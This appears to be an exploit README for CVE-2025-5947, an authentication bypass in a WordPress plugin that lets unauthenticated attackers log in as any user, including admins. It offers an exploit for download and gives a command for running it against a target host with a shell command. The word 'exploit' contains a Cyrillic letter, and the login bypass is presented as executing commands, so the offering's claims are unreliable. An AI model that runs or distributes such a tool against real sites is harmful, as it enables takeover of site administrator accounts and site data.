## Overview
This is due to the plugin not properly validating a user's cookie value prior to logging them in through the service_finder_switch_back() function. This makes it possible for unauthenticated attackers to login as any user including admins.
## Details
- **CVE ID**: [CVE-2025-5947](https://nvd.nist.gov/vuln/detail/CVE-2025-5947)
- **Discovered**: 2025-08-01
- **Published**: 2025-08-01
- **Impact**: Confidentiality
## Vulnerability Description
This vulnerability arises from a failure to properly validate user cookie values during the authentication process within the service_finder_switch_back() function. As a result, this oversight allows unauthenticated attackers to gain access to user accounts, including those with administrative privileges, without requiring valid credentials. The implications of this fault can be severe, potentially allowing attackers to manipulate site settings, access sensitive data, and execute administrative functions, thereby undermining the integrity and security of WordPress sites utilizing the affected plugin.
## Running
To run explоit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```
### [Download here](download)
登录后查看神龙缓存的 POC 文件快照
登录查看